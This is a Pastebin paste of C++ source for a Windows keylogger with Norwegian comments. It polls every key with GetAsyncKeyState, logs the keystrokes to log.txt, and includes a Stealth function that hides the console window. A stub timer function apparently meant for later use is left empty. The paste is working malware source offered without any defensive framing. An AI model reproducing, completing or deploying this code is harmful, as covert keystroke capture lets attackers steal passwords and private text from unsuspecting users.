Advertisement
Guest User

Untitled

a guest
Dec 8th, 2011
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.44 KB | None | 0 0
  1. using namespace std;
  2.  
  3. char* logg_fil = "log.txt";
  4.  
  5. short isProperKey(int i);
  6. void Stealth();
  7. void Initialize();
  8. void runOnTimer(char *file);
  9. int Save(int key_stroke, char *file);
  10.  
  11. int main()
  12. {
  13.  
  14.     unsigned int i;
  15.     int time = clock();
  16.  
  17.     while(true)
  18.     {
  19.         for(i = 8; i <= 255; i++) {
  20.             if(isProperKey(i))
  21.                 if(GetAsyncKeyState(i) == -32767)
  22.                     Save(i, logg_fil);
  23.         }
  24.         if(clock() - time > 5000) {
  25.             cout << time << endl;
  26.             time = clock();
  27.             //runOnTimer(logg_fil);
  28.         }
  29.     }
  30.  
  31.     return 0;
  32.  
  33. }
  34.  
  35. short isProperKey(int i)
  36. {
  37.  
  38.     int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
  39.     short return_val = 1;
  40.     for(int x=0; x < 13; x++)
  41.         if(i == NOT_PROPER_KEYS[x])
  42.             return_val = 0;
  43.     return return_val;
  44.  
  45. }
  46.  
  47. void Stealth()
  48. {
  49.  
  50.     HWND stealth;
  51.     AllocConsole();
  52.     stealth = FindWindowA("ConsoleWindowClass", NULL);
  53.     ShowWindow(stealth, 0);
  54.  
  55. }
  56.  
  57. void Initialize()
  58. {
  59.  
  60.  
  61.  
  62. }
  63.  
  64. void runOnTimer(char *file)
  65. {
  66.  
  67.  
  68.  
  69. }
  70.  
  71. int Save(int key_stroke, char *file)
  72. {
  73.  
  74.     // Tegn som ikke skal logges (hex-verdi i desimal)
  75.     int ikke_logges[] = {
  76.         1, 2, 3, 4, 5, 6, 12, 13, 15, 17, 18,
  77.         19, 28, 29, 30, 31, 32
  78.     };
  79.     vector<int> v(ikke_logges, ikke_logges+17); // (+X = antall elementer i array)
  80.  
  81.     // Tegn
  82.     char* tegn;
  83.     tegn = (char*)malloc(30);
  84.  
  85.     // Loggfil
  86.     FILE * OUTPUT_FILE;
  87.     OUTPUT_FILE = fopen(file, "a+");
  88.  
  89.  
  90.     if(!(binary_search(v.begin(), v.end(), key_stroke)))
  91.     {
  92.  
  93.         switch(key_stroke)
  94.         {
  95.  
  96.             case VK_BACK: sprintf(tegn, "[BACKSPACE]"); break;
  97.             case VK_TAB: sprintf(tegn, "[TAB]"); break;
  98.             case VK_SHIFT: sprintf(tegn, "[SHIFT]"); break;
  99.             //case VK_CONTROL: sprintf(tegn, "[CTRL]"); break;
  100.             //case VK_MENU: sprintf(tegn, "[ALT]"); break;
  101.             case VK_CAPITAL: sprintf(tegn, "[CAPS]"); break;
  102.             case VK_ESCAPE: sprintf(tegn, "[ESC]"); break;
  103.             case VK_SPACE: sprintf(tegn, "[SPACE]"); break;
  104.             case VK_DELETE: sprintf(tegn, "[DEL]");
  105.  
  106.             // Spesialtegn: Æ, ø, å, _ og -
  107.             case 222: tegn[0] = 198; tegn[1] = '\0'; break;
  108.             case 192: tegn[0] = 216; tegn[1] = '\0'; break;
  109.             case 221: tegn[0] = 197; tegn[1] = '\0'; break;
  110.             case 189: tegn[0] = GetAsyncKeyState(VK_SHIFT) ? 95 : 45; tegn[1] = '\0'; break;
  111.  
  112.             // Alle andre tegn
  113.             default: tegn[0] = ((char*)&key_stroke)[0]; tegn[1] = '\0'; break;
  114.  
  115.         }
  116.  
  117.         fprintf(OUTPUT_FILE, "%s\n", tegn);
  118.         fclose(OUTPUT_FILE);
  119.  
  120.     }
  121.  
  122.     return 0;
  123.  
  124. }
  125.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement